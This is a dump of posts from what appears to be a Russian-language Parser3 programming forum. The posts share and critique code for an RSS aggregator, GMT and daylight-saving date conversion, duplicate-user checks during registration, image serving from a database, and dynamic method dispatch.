	]\
\
	^if(def $rss_feeds){\
		<ul>\
			^rss_feeds.menu{\
				<li><a href=\"$rss_feeds.uri\" target=\"_new\">$rss_feeds.name</a>\
				последний раз был открыт $rss_feeds.last_update,\
				выполняется обновление&#133^;</li>\
				^update_feed[$rss_feeds.uri]\
				\
				^void:sql{DELETE FROM cityblog_rssitems\
					WHERE\
						(UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(pubdate)) >= ($rss_feeds.hours_to_keep * 60 * 60)\
					AND\
						link = \"$rss_feeds.uri\"\
					}\
			}\
		</ul>\
	}{\
		<p>В настоящий момент таковых нет.</p>\
	}\
\
}\
\
\
##############################\
# Повторное чтение RSS потока, разбор и запись в базу обновлений:\
@update_feed[feeduri]\
\
# пытаемся загрузить RSS файл с помощью ^file::load\
# При этом может произойти целая туча неприятностей - другой сервер может не отвечать,\
# файл окажется испорчен или удалён - на этот случай мы пользуемся оператором ^try\
\
^try{\
# Считаем, что RSS-поток пришёл в кодировке\
	$rss[^file::load[text;^untaint{$feeduri};\
		$.timeout(5)\
		$.headers[\
			$.User-Agent[CityBlog RSS aggregator from $MAIN:$global_server]\
		]\
	]]\
	$xml[^xdoc::create{^untaint{$rss.text}}]\
	$items[^xml.select[/rss/channel/item]]\
}{\
	$exception.handled(1)\
	$result[   Не получилось загрузить RSS-поток!]\
	^log:write[Не получилось загрузить RSS-поток $feeduri]\
}\
\
$updatedcnt(0)\
\
^if(def $items){\
\
<h1>$Encoding</h1>\
\
#	Нам нужно узнать версию RSS-потока, который мы получили.\
# 	Тонкость в том, что у RSS 2.0 есть тэг PubDate, а у RSS 0.91 нету.\
#	Поэтому для RSS 2 мы пользуемся тем, что есть, а для старых версий RSS\
#	пользуемся политикой \"дата, когда выкачали = дата создания\"\
	$rss_version[^xml.selectString[string(rss/@version)]]\
	^for[i](1;$items){\
		^if($rss_version eq \"2.0\"){\
			$date{^xml.selectString[string(/rss/channel/item[position() = $i]/pubDate)]}\
#			Вы думали, чехарда с датами закончилась? А нифига ;-)\
#			Дата может быть в таком формате - Tue, 30 Sep 2003 14:32:46 MSD\
#			или в таком - Mon, 29 Sep 2003 11:23:12 GMT. A есть ещё обозначение \"UTC\"...\
#			see also:	http://208.30.42.17/logistics/tzhelp.asp\
#						http://www.worldtimezone.com/wtz-names/wtz-msks.html\
#			Нам надо привести это время к нашему локальному\
			$date[^date::create[^dates:string2GMT[$date]]]\
		}{\
#			Если мы имеем дело с RSS старой версии, берём текущую дату, приведённую к Гринвичу:\
			$date[^date::create[^dates:GMT_datetime[]]]\
		}\
		$title{^xml.selectString[string(/rss/channel/item[position() = $i]/title)]}\
		$link{^xml.selectString[string(/rss/channel/item[position() = $i]/link)]}\
		$description{^xml.selectString[string(/rss/channel/item[position() = $i]/description)]}\
\
\
		$countitems[^table::sql{SELECT \
			COUNT(*) \
		AS \
			cnt \
		FROM \
			cityblog_rssitems\
		WHERE\
			link = \"$link\"\
		}]\
\
		$counter[$countitems.cnt]\
		$counter(^counter.int(1))\
		\
		^if($counter == 0){\
			^void:sql{INSERT INTO cityblog_rssitems (title,link,description,pubdate)\
				VALUES (\"$title\", \"$link\", \"$description\", \"^date.sql-string[]\")\
			}\
			\
		}{\
#			Эта запись уже выкачивалась, апдейтить не надо.		\
		}\
\
#		<p><a href=\"$link\">$title</a> (^date.sql-string[])</p>\
		^updatedcnt.inc[]\
	}\
\
# 	Обновляем запись об этом RSS-фиде в базе:\
	^void:sql{UPDATE cityblog_rsslist \
	SET \
		last_update = NOW()\
	WHERE\
		uri = \"$feeduri\"\
	}\
}\
\
Найдено новых записей: $updatedcnt </p>\
\
@display[]\
\
^MAIN:dbconnect{\
	$rss_items[\
		^table::sql{SELECT\
			id,\
			title,\
			link,\
			description,\
			DATE_FORMAT(pubdate, \"%d/%m/%Y, %H:%i\") as date\
		FROM\
			cityblog_rssitems\
		ORDER BY\
			pubdate \
		DESC}\
	]\
}\
\
^if(def $rss_items){\
	<ul>\
		^rss_items.menu{\
			<li><a href=\"$rss_items.link\">$rss_items.title</a> ($rss_items.date GMT)</li>\
		}\
	</ul>	\
}[/code]\
\
[b]Файлы классов: dates.p[/b][code]##############################\
# Класс для работы с датами\
@CLASS\
dates\
\
##############################\
# Получаем текущую дату по Гринвичу из нашей локальной:\
@load[]\
\
# Нам нужно узнать, на сколько сдвинуть текущую дату и время.\
# Сдвиг складывается из разницы по отношению к Гринвичу + поправки на летнее время\
\
$local[^date::now[]]\
\
# Летнее время:\
\
^if($MAIN:global_daylight eq \"yes\"){\
\
# Попадает ли текущая дата в промежуток, когда вводится летнее время?\
	$daylight_lbound[^date::create($local.year;$MAIN:global_daylight_m_start;$MAIN:global_daylight_d_start;0;0;0)]\
	$daylight_ubound[^date::create($local.year;$MAIN:global_daylight_m_end;$MAIN:global_daylight_d_end;0;0;0)]\
\
	^if(\
		($local.day >= $daylight_lbound.day) \
	&&\
		($local.month >= $daylight_lbound.month) \
	&& \
		($local.day <= $daylight_ubound.day) \
	&&\
		($local.month <= $daylight_ubound.month) \
	){\
#		Текущая дата - в том, диапазоне, в котором летнее время в силе:\
		$daylight_offset(1)\
	}{\
#		...или нет:\
		$daylight_offset(0)\
	}\
}\
\
# Из текущей даты и времени мы должны вычесть час летнего времени и разницу с Гринвичем:\
$GMTdate[^date::create($local - (($daylight_offset + $MAIN:global_timeoffset)/24))]\
\
##############################\
# Получаем текущую дату (системную):\
@local_datetime[]\
$result[^local.sql-string[]]\
\
\
##############################\
# Получаем текущую дату (приведённую к Гринвичу):\
@GMT_datetime[]\
$result[^GMTdate.sql-string[]]\
\
##############################\
# Приводим дату в виде строки (\"Mon, 29 Sep 2003 11:23:12 GMT\") к Гринвичу:\
@string2GMT[string]\
\
^string.match[([A-Za-z]{3}), ([0-9]+) ([A-Za-z]{3}) ([0-9]+) ([0-9]+):([0-9]+):([0-9]+) ([A-Za-z]{3,4})][g]{\
	$year($match.4)\
	$month[$match.3]\
\
	^if($month eq Jan){$month(1)}\
	^if($month eq Feb){$month(2)}\
	^if($month eq Mar){$month(3)}\
	^if($month eq Apr){$month(4)}\
	^if($month eq May){$month(5)}\
	^if($month eq Jun){$month(6)}\
	^if($month eq Jul){$month(7)}\
	^if($month eq Aug){$month(8)}\
	^if($month eq Sep){$month(9)}\
	^if($month eq Oct){$month(10)}\
	^if($month eq Nov){$month(11)}\
	^if($month eq Dec){$month(12)}\
\
	$day($match.2)\
	$hour($match.5)\
	$minute($match.6)\
	$second($match.7)\
	$timezonename[$match.8]\
}\
\
#	Табличка с названиями временных зон и поправками:\
#	Название 	Аббр.	Поправка\
#	Samoa Standard Time	SST	-11\
#	Hawaii-Aleutian Standard Time  	HST	-10\
#	Alaska Standard Time	AKST	-9\
#	Hawaii-Aleutian Daylight Time  	HDT	-9\
#	Alaska Daylight Time	AKDT	-8\
#	Pacific Standard Time	PST	-8\
#	Mountain Standard Time	MST	-7\
#	Pacific Daylight Time	PDT	-7\
#	Central Standard Time	CST	-6\
#	Mountain Daylight Time	MDT	-6\
#	Central Daylight Time	CDT	-5\
#	Eastern Standard Time	EST	-5\
#	Atlantic Standard Time	AST	-4\
#	Eastern Daylight Time	EDT	-4\
#	Atlantic Daylight Time	ADT	-3\
#	Greenwich Mean Time	GMT	0\
#	Western Europe Time	WET	0\
#	British Summer Time	BST	1\
#	Central Europe Time	CET	1\
#	Irish Summer Time	IST	1\
#	Western Europe Summer Time	WEST	1\
#	Central Europe Summer Time	CEST	2\
#	Eastern Europe Time	EET	2\
#	Eastern Europe Summer Time	EEST	3\
#	Moscow Time	MSK	3\
#	Moscow Summer Time	MSD	4\
#	Western Standard Time	WST	8\
#	Central Standard Time	CST	9.5\
#	Eastern Standard Time	EST	10\
\
^if(def $year && def $month && def $day){\
	^switch[$timezonename]{\
		^case[SST]{$tz_offset(-11)}\
		^case[HST]{$tz_offset(-10)}\
		^case[AKST]{$tz_offset(-9)}\
		^case[HDT]{$tz_offset(-9)}\
		^case[AKDT]{$tz_offset(-8)}\
		^case[PST]{$tz_offset(-8)}\
		^case[MST]{$tz_offset(-7)}\
		^case[PDT]{$tz_offset(-7)}\
		^case[CST]{$tz_offset(-6)}\
		^case[MDT]{$tz_offset(-6)}\
		^case[CDT]{$tz_offset(-5)}\
		^case[EST]{$tz_offset(-5)}\
		^case[AST]{$tz_offset(-4)}\
		^case[EDT]{$tz_offset(-4)}\
		^case[ADT]{$tz_offset(-3)}\
		^case[GMT]{$tz_offset(0)}\
		^case[WET]{$tz_offset(0)}\
		^case[BST]{$tz_offset(1)}\
		^case[CET]{$tz_offset(1)}\
		^case[IST]{$tz_offset(1)}\
		^case[WEST]{$tz_offset(1)}\
		^case[CEST]{$tz_offset(2)}\
		^case[EET]{$tz_offset(2)}\
		^case[EEST]{$tz_offset(3)}\
		^case[MSK]{$tz_offset(3)}\
		^case[MSD]{$tz_offset(4)}\
		^case[WST]{$tz_offset(8)}\
		^case[CST]{$tz_offset(9.5)}\
		^case[EST]{$tz_offset(10)}\
		^case[DEFAULT]{$tz_offset(0)}\
	}\
	$UnadjustedString[^date::create($year;$month;$day;$hour;$minute;$second)]\
	$GMTString[^date::create($UnadjustedString - ($tz_offset/24))]\
}{\
	$GMTString[^date::now[]]\
}\
\
$result[^GMTString.sql-string[]][/code]"
"21457","\"обычно\" он происходит не 29-Mar и 25-Oct, а в [b]последнее воскресеньех[/b] марта и [b]последнее воскресенье октября[/b]...\
\
кажется так, но могу ошибаться.\
\
да, вот еще что... только на моем веку в этой стране это уже менялось 3 (!!!) раза...\
\
так что лучше дождаться версии парсера, в которой есть работа с тайм зонами (кажется она уже в head, но я могу ошибиться)"
"21458","Дата перехода летнее время - последнее воскресенье марта, а дата перехода на зимнее - последее воскресенье октября. [по крайней мере в Европе это стандарт]\
http://wwp.greenwichmeantime.com/local/rules/eu.htm\
\
Я у себя в RSS-читалке делаю так:\
[code]\
# Определяем относится ли $aTime к \"летнему времени\".\
# Если параметр не задан, то берем текущее время.\
# http://wwp.greenwichmeantime.com/local/rules/eu.htm\
@_isDaylightTime[aTime][lCal;lNow;lStart;lEnd]\
\
  $lNow[^date::now[]]\
\
# Определяем последнее воскресенье марта\
  $lCal[^date:calendar[eng]($lNow.year;3)]\
  ^lCal.offset(-1)\
  ^while(!def $lCal.0){\
    ^lCal.offset(-1)\
  }\
  $lStart[^date::create($lNow.year;3;$lCal.0)]\
\
# Определяем последнее воскресенье октября\
  $lCal[^date:calendar[eng]($lNow.year;10)]\
  ^lCal.offset(-1)\
  ^while(!def $lCal.0){\
    ^lCal.offset(-1)\
  }\
  $lEnd[^date::create($lNow.year;10;$lCal.0)]\
  \
# Определяем где у нас время :)\
  ^if(!def $aTime){\
    $aTime[^date::now[]]        \
  }{\
     ^if($aTime is string){\
        $aTime[^date::create[$aTime]]\
     }\
   }\
  \
  ^if($aTime > $lStart && $aTime < $lEnd){\
    $result(1)\
  }{\
    $result(0)\
   }\
[/code]"
"21459","Миш, сделай доступ к changelog на этом сайте, плиз! )) Как то не хочется велосипед изобретать, хоть знать буду, что нас ждёт..."
"21460","Насколько я понял в RSS время задается по RFC 822 и определяется в нем так [вроде как зон там не много]:\
\
[code]     date-time   =  [ day \",\" ] date time        ; dd mm yy\
                                                 ;  hh:mm:ss zzz\
\
     day         =  \"Mon\"  / \"Tue\" /  \"Wed\"  / \"Thu\"\
                 /  \"Fri\"  / \"Sat\" /  \"Sun\"\
\
     date        =  1*2DIGIT month 2DIGIT        ; day month year\
                                                 ;  e.g. 20 Jun 82\
\
     month       =  \"Jan\"  /  \"Feb\" /  \"Mar\"  /  \"Apr\"\
                 /  \"May\"  /  \"Jun\" /  \"Jul\"  /  \"Aug\"\
                 /  \"Sep\"  /  \"Oct\" /  \"Nov\"  /  \"Dec\"\
\
     time        =  hour zone                    ; ANSI and Military\
\
     hour        =  2DIGIT \":\" 2DIGIT [\":\" 2DIGIT]\
                                                 ; 00:00:00 - 23:59:59\
\
     zone        =  \"UT\"  / \"GMT\"                ; Universal Time\
                                                 ; North American : UT\
                 /  \"EST\" / \"EDT\"                ;  Eastern:  - 5/ - 4\
                 /  \"CST\" / \"CDT\"                ;  Central:  - 6/ - 5\
                 /  \"MST\" / \"MDT\"                ;  Mountain: - 7/ - 6\
                 /  \"PST\" / \"PDT\"                ;  Pacific:  - 8/ - 7\
                 /  1ALPHA                       ; Military: Z = UT;\
                                                 ;  A:-1; (J not used)\
                                                 ;  M:-12; N:+1; Y:+12\
                 / ( (\"+\" / \"-\") 4DIGIT )        ; Local differential\
                                                 ;  hours+min. (HHMM)[/code]"
"21462","... поскольку все RSS, которые я использую [например с компьюленты] уже приведены к GMT.\
\
[code]\
... в конструкторе ...\
\
# Сдвиг времени относительно Greenwich Mean Time (GMT). Для Москвы.\
# Если сейчас \"летнее время\", то добавляем еще один час к $_GMTShift.\
# Не учитывается, что перевод часов осуществляется в 2 часа ночи.\
  $_GMTShift(3 + ^_isDaylightTime[])\
\
... сам метод ...\
\
## Преобразует $aDateString в объект типа date, учитывая GMT.\
@convertDate[aDateString][lMatch;lMonth;lDat]\
^if(def $aDateString){\
  $lMonth[\
    $.jan[1]\
    $.feb[2]\
    $.mar[3]\
    $.apr[4]\
    $.may[5]\
    $.jun[6]\
    $.jul[7]\
    $.aug[8]\
    $.sep[9]\
    $.oct[10]\
    $.nov[11]\
    $.dec[12]\
  ]\
  $lMatch[^aDateString.match[\\w+,\\s+(\\d+)\\s+(\\w+)\\s+(\\w+)\\s+(\\d+):(\\d+):(\\d+)]]\
  $lDat[^date::create($lMatch.3;$lMonth.[^lMatch.2.lower[]];$lMatch.1;$lMatch.4;$lMatch.5;$lMatch.6)]\
  $result[^date::create($lDat+$_GMTShift/24)]\
}{\
  $result[]\
 }\
[/code]\
\
В выходные наверное допишу учет зон..."
"21463","Как сделать это громоздко и некрасиво, я могу придумать. Хочется коротко и красиво, а в силу ограниченного владения парсером не получается. \
\
Задача простая: регистрируется человек, вводит о себе имя, логин, пароль, почту. Надо проверить, что в базе данных нет пока такого имени, логина, почты. Если есть один из пунктов - вывести сообщение \"такой ___ уже есть\". Если нет - можно заносить в базу данных. Как бы это красиво сделать?\
\
А еще бездарный вопрос - как вывести форму для ввода пароля, чтобы вместо вводимых символов были звездочки?\
\
Заранее спасибо"
"21464","SELECT count(*) AS counter FROM base WHERE login=\"$form:login\" OR email=\"$form:email\"\
\
[quot]как вывести форму для ввода пароля, чтобы вместо вводимых символов были звездочки?[/quot]Посмотреть исходники parser.ru/forum/  и понять, как это сделано там. Потом пойти на w3.org, скачать описание HTML и прояснить оставшиеся вопросы."
"21465","Вместо:\
[code]\
	^if($month eq Jan){$month(1)}\
	^if($month eq Feb){$month(2)}\
	^if($month eq Mar){$month(3)}\
	^if($month eq Apr){$month(4)}\
	^if($month eq May){$month(5)}\
	^if($month eq Jun){$month(6)}\
	^if($month eq Jul){$month(7)}\
	^if($month eq Aug){$month(8)}\
	^if($month eq Sep){$month(9)}\
	^if($month eq Oct){$month(10)}\
	^if($month eq Nov){$month(11)}\
	^if($month eq Dec){$month(12)}\
[/code]\
Лучше switch, а ещё лучше хэш\
\
^MAIN:dbconnect{...} - моветон"
"21466","Как обычно, все гениальное просто. Спасибо большое."
"21467","мы живём в многопоточном мире: параллельно другой человек мог придти и заняться всем тем же самым.\
\
1й проверил — можно\
2й проверил — можно\
1й сделал\
2й сделал тоже\
\
диагноз: или использовать унарные действия, или ставить блокировки вокруг подобного.\
\
применительно в вашей задаче: можно обойтись простым insert, задав правильный уникальный ключ (по колонке user).\
тогда не надо будет ничего проверять: в случае уже существующего пользователя при insert просто возникнет ошибка, которую вы поймаете (см. try) и обработаете (см. $exception.handled(1))."
"21468","Было бы лучше так - \"со строки A по строку B - вырезать и заменить следующим кодом: {code}ZZZZ{/code}\"\
\
P.S. Почему dbconnect - моветон? Потому что я привязываюсь к конкретной БД?"
"21469","Объясните мне как сделать скроллер, а то в \"примерах\
всё написано для профи имеющих опыт прогамированья,\
а я простой ламер которому этот скроллер необходим как Воздух!!!\
\
Я думаю все таки найдется человек , который объяснит мне это дело! Мир не без добрых людей!!!"
"21470","А не знает ли кто серверов, бесплатно отдающих что-либо по XML-RPC?\
Хочется клиента потестировать.\
Да, livejournal не предлагать - на нем уже опробовано. ;-)"
"21472","[quote]\
Было бы лучше так - \"со строки A по строку B - вырезать и заменить следующим кодом: {code}ZZZZ{/code}\"\
[/quote]\
[code]\
$monthHash[\
	$.Jan(1)\
	$.Feb(2)\
	$.Mar(3)\
	$.Apr(4)\
	$.May(5)\
	$.Jun(6)\
	$.Jul(7)\
	$.Aug(8)\
	$.Sep(9)\
	$.Oct(10)\
	$.Nov(11)\
	$.Dec(12)\
]\
\
$month($monthHash.[$match.3])\
[/code]\
Конструктивнее? $monthHash лучше засунуть в конструктор, можно даже в статический.\
\
моветон это MAIN:dbconnect - обращение к глобальным переменным(методам) делает код зависимым от контекста т.е. бесполезным для всех кроме программиста его написавшего.\
\
Делать это можно лишь в исключительных случаях - я делаю это только в одном месте, в конструкторе класса, объекты которого создаются через process:\
[code]\
$obj[^process{^^${PageClass}::init[$param]}]\
[/code]\
т.к. здесь нельзя передавать несколько параметров и нельзя чтобы едиственным параметром был хэш, объект класса и др. сложный тип."
"21475","Оттестирую, напишу \"документацию\" и открою, если будут желающие.\
Вопрос только в том, как бы оттестировать - поднимать на себе соответствующий сервер очень не хочется (и так делов много), а \"халявного\" найти пока не удалось.\
Для LJ все работает, но там нет ничего сложного в methodCall - все скаляры, очень редко struct'ы. Да и param у него всего один... А хочется больше и сложнее ;-)"
"21476","Хочется чтобы у товарищей по несчастью было всё правильно. Правда не всегда так получается, - всю водку не выпьешь, всех женщин не перецелуешь ... дальше сами знаете :)\
\
У меня самого тоже не всё гладко - кто увидит чего крамольного пишите, но стремиться к красоте надо."
"21477","А вот так совсем красиво. Самое простейшее решение мне в голову не приходило :) Спасибо."
"21479","Доброго времени суток!\
Вроде все верно сделал... не работает и все! :(\
parser3 из parser3_1_0_redhat73_cgi.tar.gz положил в ~/public_html/cgi-bin\
из parser3conf_1_0_20030724_unix.tar.gz взял auto.p, charsets, lib, положил туда же...\
\
.htaccess поправил согласно инструкциям:\
########################################\
AddHandler parser3-html html \
Action parser3-html /cgi-bin/parser3 \
\
AddHandler parser3-phtml phtml \
Action parser3-phtml /cgi-bin/parser3 \
\
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files>  \
#####################################\
\
когда захожу на страничку - показывает\
\
Forbidden\
You don't have permission to access /cgi-bin/parser3.cgi/index.html on this server.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request."
"21480","Предыдущая не совсем верна - баловался с настройками..."
"21481","Я с кодами ошибок не могу разобраться и их обработкой. Допустим, заносятся в SQL базу данных в таблицу users поля user_name и user_mail. Хочется, чтобы в случае если такой user_name уже существует, то выводилось бы сообщение, что \"такое имя уже существует\", а если существует user_mail, то выводилось бы сообщение \"такой адрес уже существует\". \
\
Синтаксиса try я не очень понял и чего-то у меня не получается... Понятно, что видимо действовать надо через $exception.lineno, но как?"
"21482","после проблемы ничто не мешает пойти в базу и проверить, что именно не так (user или email совпадает).\
\
поконкретнее: чего именно не поняли?"
"21483","если «всё» это только то, что вы в письме перечислили, то этого мало. попробуйте перечитать. когда не получится, обратитесь в FAQ."
"21484","Следующий код приводит к появлению \
exception in request exception handler: Exception 0xC0000005 at 0x0044978D\
Версия парсера: parser3_1_0_win32_cgi_xml\
[code]\
@main[]\
^try{\
	^a[]\
}{\
	$exception.handled(1)\
}\
^try{\
	^a[]\
}{\
	$exception.handled(1)\
}\
^try{\
	^a[]\
}{\
	$exception.handled(1)\
}\
^try{\
	^a[]\
}{\
	$exception.handled(1)\
}\
\
@a[]\
^try{\
	^throw[exception;;exception]\
}{\
}\
[/code]"
"21485","Вот код на настоящий момент:\
\
# проверка, все ли поля заполнены\
^if(def $form:user_name && def $form:user_nic && def $form:user_login && def $form:user_pass && def $form:user_mail && def $form:user_info){ \
\
# запись инфы в базу данных\
   ^connect[$SQL.connect_string]{ \
      ^void:sql{insert into users \
         (user_name, user_nic, user_login, user_pass, user_mail, user_info) \
      values  \
         ('$form:user_name', '$form:user_nic', '$form:user_login', '$form:user_pass', '$form:user_mail', '$form:user_info') \
      } \
      Пользователь добавлен. Информация о пользователе будет в базе данных после проверки администратором сайта. \
      } \
}{ \
   Пожалуйста, заполните все поля \
} \
\
Если в результате попытки записать в базу обнаруживается, что такое имя или логин или мыло уже есть, то он выдает 500 ошибку и в лог парсера добавляется ошибка в которой помимо путей и указания, что куда вносилось, содержится Duplicate entry 'User' for key 4 [sql.execute]. Как мне отлавливать эту ошибку? Насколько я понял, определение, в каком поле дубликат - это как раз key 4. Но что дальше? В примере приводится такой кусок кода:\
\
^try{ \
   $srcDoc[^xdoc::create{$untrustedXML}] \
}{ \
   ^if($exception.type eq xml)\
\
А у меня он как будет выглядеть?"
"21486","На самом деле начинаю вроде разбираться. Я правильно понял, что код, который может выдать ошибку, должен стоять внутри первых скобок ^try{}, а во вторых скобках оператор if проверяет $exception.type на равенство с заранее заданной строкой? А что должно быть в этой строке в моем случае?"
"21487","Буду сам исправляться, а вы меня поправьте, если что.\
\
# запись инфы в базу данных\
^try{\
^connect[$SQL.connect_string]{ \
^void:sql{insert into users \
(user_name, user_nic, user_login, user_pass, user_mail, user_info) \
values \
('$form:user_name', '$form:user_nic', '$form:user_login', '$form:user_pass', '$form:user_mail', '$form:user_info') \
} \
Пользователь добавлен. Информация о пользователе будет в базе данных после проверки администратором сайта. \
} \
}{\
^if($exception.comment eq \"Duplicate entry 'User' for key 4\"){ \
      $exception.handled(1) \
      Такой (пока еще не понял, что) уже есть\
} \
^if($exception.comment eq \"Duplicate entry 'User' for key другой какой-то\"){ \
      $exception.handled(1) \
      Такой (другое что-то) уже есть\
} \
}"
"21488","... http://src.fitkursk.ru/articles/art0000021.asp \
\
Это не про Парсер, а про C++, но принципы одинаковые."
"21489","не смотрите на этот duplicate... вы можете переделать индексы/pk и все перестанет работать.\
\
программируйте сначала логику, примерно так:\
\
[code]\
^try{\
	...тут пытаемся добавить пользователя (INSERT)...\
	...затем сообщаем, что пользователь добавлен успешно...\
}{\
	^rem{\
		а сюда мы попадем только если что-то не сработает в try, \
		причем скорее всего не сработает именно добавление пользователя.\
		начинаем разбираться с исключением\
	}\
	^rem{ читаем: http://www.parser.ru/docs/lang/parserexceptions.htm }\
	^if($exception.type eq \"sql.execute\"){\
		^rem{\
			тут мы оказались, что произошла ошибка SQL запроса, т.е. пользователь не\
			добавляется, попытаемся понять почему\
		}\
		\
		$exist_name_count(смотрим, сколько у нас в БД пользователей с таким именем (SELECT))\
		^if($exist_name_count){\
			^rem{ О! Так вот почему не добавился пользователь!  }\
			...сообщаем что пользователь с таким именем уже есть...\
		}{\
			...аналогично с email и дургими полями, учавствующими в уникальности\
		}\
		\
\
		^rem{ поэтому говорим парсеру, что с этой ошибкой мы сами разберемся }\
		$exception.handled(1)\
	}\
}\
\
[/code]\
\
P.S. на персере оно займет меньше места, а читаться будет не много сложнее..."
"21490","А можно вот с этим куском поподробнее?\
\
[code]$exist_name_count(смотрим, сколько у нас в БД пользователей с таким именем (SELECT))\
		^if($exist_name_count)[/code]\
\
Делаем вот такой SELECT (нам не важно, сколько существует таких, т.к. может существовать только один - они уникальные)\
\
[code]$nametest[^table::sql{select \
       user_name\
   from \
      users\
   where \
      user_name='$form:user_name' \
   }] [/code]\
\
Я правильно понимаю, что если он не найдет ни одного имени такого же, то у переменной $nametest не будет значения вообще? И соответственно можно писать прямо как у вас \
\
[code]^if ($nametest){такое имя уже есть}[/code]"
"21491","нужно количество пользователей с таким именем: [b]число[/b]\
\
[code]\
$exist_name_count(^int:sql{SELECT COUNT(*) FROM users WHERE user_name='$form:user_name'})\
[/code]"
"21493","в моём лице - у меня в планах добавление XML-RPC к моему CityBlog - чтобы в него можно было постить из любого веблоговского клиента, понимающего сабж."
"21494","Я правильно думаю, что при проверке надо к SQL коннектиться? Т.е. вот так\
\
[code]$exist_name_count(^connect[$SQL.connect_string]{^int:sql{SELECT COUNT(*) FROM users WHERE user_name='$form:user_name'}})[/code]"
"21495","Поиск по суппорту на слова \"XML-PRC\", \"XML\" и \"RPC\" не дает ни одного вхождения. :("
"21498","Да, я когда написал и отправил, уже сам сообразил, что лучше один раз законнектиться и отправить запросы по четырем колонкам, которые проверяются. Спасибо, вашими усилиями окончательный код заработал отлично."
"21499","Сервер писать пока времени нет (да и необходимости тоже).\
\
Вообще все начало делаться из-за AvantGo, которого не получалось настроить на кодировку LiveJournal. Потом идея с AvantGo отпала (не мне нужно было, просили, да забили потом, видимо или что еще), а вот желание \"дооформить\" парсерный класс осталось.\
\
В результате, работать с LJ он умеет (вытягивает любые записи, постит с любыми параметрами), а что-то более серьезное проверить проверить не на чем. Причем, больше интересует имеено построение/отправка запроса (разбор ответа на LJ отработан, ибо всякие варианты там встречаются). Хочется \"отдать\", допустим, array в котором и date.iso и struct и base64 лежит - в LJ такое просто не нужно..."
"21501","И то, понимающий только часть директив Blogger API..."
"21503","есть на этот счет мысли? Вы уже чего-то начали делать? Если чего не выйдет мы Вам, естественно, поможем. Задавайте конкретные вопросы."
"21505","Заведу, потестирую.\
Спасибо."
"21506","[code]\
...\
AddHandler parser3-html [color=\"red\"].[/color]html \
Action parser3-html /cgi-bin/parser3[color=\"red\"].cgi[/color]\
...\
[/code]"
"21507","chmod +x parser3.cgi"
"21508","Как я понял, положить в базу парсером картинку нельзя. А вот вытащить?\
\
Чего может быть не так? - мим тип определяется и передается правильно а вот картинку не видно.\
\
Всем спасибо.\
\
\
^dbconnect{\
$blob[^string:sql{select $picture from $table where unique=$id}[$.default{}]]\
}\
\
^if(!def $blob){ ^throw[bad.command;empty blob]}\
^if(^blob.match[^^\\xFF\\xD8][i]){\
	$response:content-type[image/jpeg] \
}{\
^if(^blob.match[^^GIF8][i]){\
	$response:content-type[image/gif] \
}{\
^if(^blob.match[^^\\x89PNG][i]){\
	$response:content-type[image/png] \
}{\
^if(^blob.match[^^MM\\x00\\x2A|^^II\\x2A\\x00][i]){\
	$response:content-type[image/tiff] \
}{\
^if(^blob.match[^^BM][i]){\
	$response:content-type[image/bmp] \
}{^throw[bad.command;unknow format]}\
}}}}\
\
$response:body[^taint[as-is][$blob]]"
"21509","[code]\
<form method=\"POST\"> \
<p> \
Имя: <input name=\"user_name\"><br> \
Прозвище: <input name=\"user_nic\"><br> \
Логин: <input name=\"user_login\"><br> \
Пароль: <input type=\"password\" name=\"user_pass\"><br> \
E-mail: <input name=\"user_mail\"><br>\
</p> \
<p>Информация о себе:<br> \
<textarea cols=\"70\" name=\"user_info\" rows=\"20\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Добавить\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Сбросить\"> \
</p> \
</form> \
\
^try{\
# проверка, все ли поля заполнены\
^if(def $form:user_name && def $form:user_nic && def $form:user_login && def $form:user_pass && def $form:user_mail && def $form:user_info){ \
\
# запись инфы в базу данных с проверкой на существование\
   ^connect[$SQL.connect_string]{ \
      ^void:sql{insert into users \
         (user_name, user_nic, user_login, user_pass, user_mail, user_info) \
      values  \
         ('$form:user_name', '$form:user_nic', '$form:user_login', '$form:user_pass', '$form:user_mail', '$form:user_info') \
      } \
      Пользователь добавлен. Информация о пользователе будет в базе данных после проверки администратором сайта. \
      } \
}{ \
   Пожалуйста, заполните все поля \
} \
}{\
^connect[$SQL.connect_string]{\
$exist_name_count(^int:sql{SELECT COUNT(*) FROM users WHERE user_name='$form:user_name'})\
$exist_nic_count(^int:sql{SELECT COUNT(*) FROM users WHERE user_nic='$form:user_nic'})\
$exist_login_count(^int:sql{SELECT COUNT(*) FROM users WHERE user_login='$form:user_login'})\
$exist_mail_count(^int:sql{SELECT COUNT(*) FROM users WHERE user_mail='$form:user_mail'})\
}\
^if($exist_name_count){ \
      $exception.handled(1) \
      Такое имя уже есть\
} \
^if($exist_nic_count){ \
      $exception.handled(1) \
      Такое Прозвище уже есть\
} \
^if($exist_login_count){ \
      $exception.handled(1) \
      Такой логин уже есть\
} \
^if($exist_mail_count){ \
      $exception.handled(1) \
      Такой адрес уже есть\
} \
}\
[/code]"
"21510","."
"21511","из form приходит page такого вида \"pref.view\"\
я делаю сплит и получаю \
\
[code]\
$sClass[pref]\
$sMethod[view]\
[/code]\
\
далее вызываю нужный метод у нужного класса\
\
[code]\
^process{ \
	^$oObj[^^${sClass}_control::new[]]\
	^^oObj.${sMethod}[]\
}\
[/code]\
\
обратите внимание что создаётся объект не класса pref, а объект класса pref_control. это сделано для того чтобы вызывались только специальные классы. \
\
вопросы:\
\
1. что плохого в этом методе выбора класса и вызова метода?\
2. есть ли потенциальные дыры в этом коде?\
\
ps. ошибки а ля неопределён класс, не найден метод, я думаю можно отлавить эксепшенами. тут не приводится для простоты кода.\
\
ps.ps. хотелось бы услышать здоровую критику, а не типа \"я это не понимаю или не использую значит это плохо\" :-)"
"21512","0. считаю, что приведенный код очень плохо читается и очень сложен для понимания большинству.\
\
1. для того, чтобы добавить возможность вызова еще одного метода нужно этот метод дописать в классе.\
\
2. есть возможность вызвать любой метод класса pref_control, что по моему не есть хорошо.\
\
3. мне не очень понятно, неужели сложно в классе pref сделать метод @control[method] в котором написать:\
[code]\
^switch[$method]{\
  ^case[view]{^view[]}\
  ...\
  ^case[DEFAULT]{}\
}\
[/code]\
\
4. считаю, что использовать process без надобности - плохо."
"21513","Это что-то вроде\
[code]\
@main[]\
^connect[$MAIN:dbconnect]{\
# код всего-всего для страницы\
}\
[/code]\
?\
